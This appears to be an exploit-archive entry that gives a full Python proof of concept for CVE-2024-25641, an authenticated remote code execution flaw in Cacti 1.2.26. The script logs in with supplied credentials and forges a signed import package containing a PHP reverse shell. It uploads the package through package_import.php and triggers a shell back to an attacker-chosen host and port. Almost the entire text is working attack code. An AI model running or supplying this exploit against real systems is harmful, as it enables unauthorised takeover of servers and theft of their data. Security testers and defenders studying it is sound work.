Cacti 1.2.26 – Remote Code Execution (RCE) (Authenticated)
# Exploit Title: Cacti 1.2.26 - Remote Code Execution (RCE) (Authenticated) # Date: 06/01/2025 # Exploit Author: D3Ext # Vendor Homepage: https://cacti.net/ # Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip # Version: 1.2.26 # Tested on: Kali Linux 2024 # CVE: CVE-2024-25641 #!/usr/bin/python3 import os import requests import base64 import gzip import time import argparse import string import random from bs4 import BeautifulSoup from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import padding, rsa from cryptography.hazmat.primitives import serialization def get_random_string(length): letters = string.ascii_lowercase result_str = ''.join(random.choice(letters) for i in range(length)) return result_str def check_version(url_to_check): r = requests.get(url_to_check) response = r.text if "Cacti CHANGELOG" in response and "1.2.26" in response and "1.2.27" not in response: print("[+] Version seems to be 1.2.26") else: print("[-] Version doesn't seem to be 1.2.26, proceeding anyway") # Main function if __name__ == '__main__': p = argparse.ArgumentParser(description="CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE") p.add_argument('--url', help="URL of the Cacti web root", required=True) p.add_argument('--user', help="username to log in", required=True) p.add_argument('--password', help="password of the username", required=True) p.add_argument('--lhost', help="local host to receive the reverse shell", required=True) p.add_argument('--lport', help="local port to receive the reverse shell", required=True) p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False) # Parse CLI arguments parser = p.parse_args() url = parser.url username = parser.user password = parser.password lhost = parser.lhost lport = parser.lport verbose = parser.verbose url = url.rstrip("/") print("CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE\n") # check if versions match print("[*] Checking Cacti version...") time.sleep(0.5) check = check_version(url + "/CHANGELOG") if check == False: sys.exit(0) req = requests.Session() if verbose: print("[*] Capturing CSRF token...") r = req.get(url) # extract CSRF token soup = BeautifulSoup(r.text, 'html.parser') html_parser = soup.find('input', {'name': '__csrf_magic'}) csrf_token = html_parser.get('value') if verbose: print("[+] CSRF token: " + csrf_token) print("[*] Logging in on " + url + "/index.php") # define login post data login_data = { '__csrf_magic': csrf_token, 'action': 'login', 'login_username': username, 'login_password': password, 'remember_me': 'on' } # send login request r = req.post(url + "/index.php", data=login_data) # check success if 'Logged in' in r.text: print("[+] Successfully logged in as " + username) else: print("[-] An error has ocurred while logging in as " + username) sys.exit(0) # generate random filename random_name = get_random_string(10) random_filename = random_name + ".php" payload = """<?php set_time_limit (0); $VERSION = "1.0"; $ip = '""" + lhost + """'; $port = """ + lport + """; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>""" # generate payload print("[*] Generating malicious payload...") keypair = rsa.generate_private_key(public_exponent=65537, key_size=2048) public_key = keypair.public_key().public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo) file_signature = keypair.sign(payload.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256()) b64_payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8') b64_file_signature = base64.b64encode(file_signature).decode('utf-8') b64_public_key = base64.b64encode(public_key).decode('utf-8') data = """<xml> <files> <file> <name>resource/""" + random_filename + """</name> <data>""" + b64_payload + """</data> <filesignature>""" + b64_file_signature + """</filesignature> </file> </files> <publickey>""" + b64_public_key + """</publickey> <signature></signature> </xml>""" signature = keypair.sign(data.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256()) final_data = data.replace("<signature></signature>", "<signature>" + base64.b64encode(signature).decode('utf-8') + "</signature>").encode('utf-8') # write gzip data f = open(random_filename + ".gz", "wb") f.write(gzip.compress(final_data)) f.close() print("[+] Malicious GZIP: " + random_filename + ".gz") # define post data post_data = { '__csrf_magic': csrf_token, 'trust_signer': 'on', 'save_component_import': 1, 'action': 'save' } # upload file print("[*] Uploading GZIP file...") # send post request r = req.post(url + "/package_import.php?package_location=0&preview_only=on&remove_orphans=on&replace_svalues=on", data=post_data, files={'import_file': open(random_filename + ".gz", 'rb')}) print("[+] Successfully uploaded GZIP file") time.sleep(0.5) print("[*] Validating success...") soup = BeautifulSoup(r.text, 'html.parser') html_parser = soup.find('input', {'title': "/var/www/html/cacti/resource/" + random_filename}) file_id = html_parser.get('id') post_data = { '__csrf_magic': csrf_token, 'trust_signer': 'on', 'data_source_profile': 1, 'remove_orphans': 'on', 'replace_svalues': 'on', file_id: 'on', 'save_component_import': 1, 'preview_only': '', 'action': 'save', } r = req.post(url + "/package_import.php?header=false", data=post_data) print("[+] Success!") time.sleep(0.5) print("[*] Triggering reverse shell by sending GET request to " + url + "/resource/" + random_filename) time.sleep(0.2) print("[+] Check your netcat listener") # remove payload file os.remove(random_filename + ".gz") r = req.get(url + "/resource/" + random_filename) |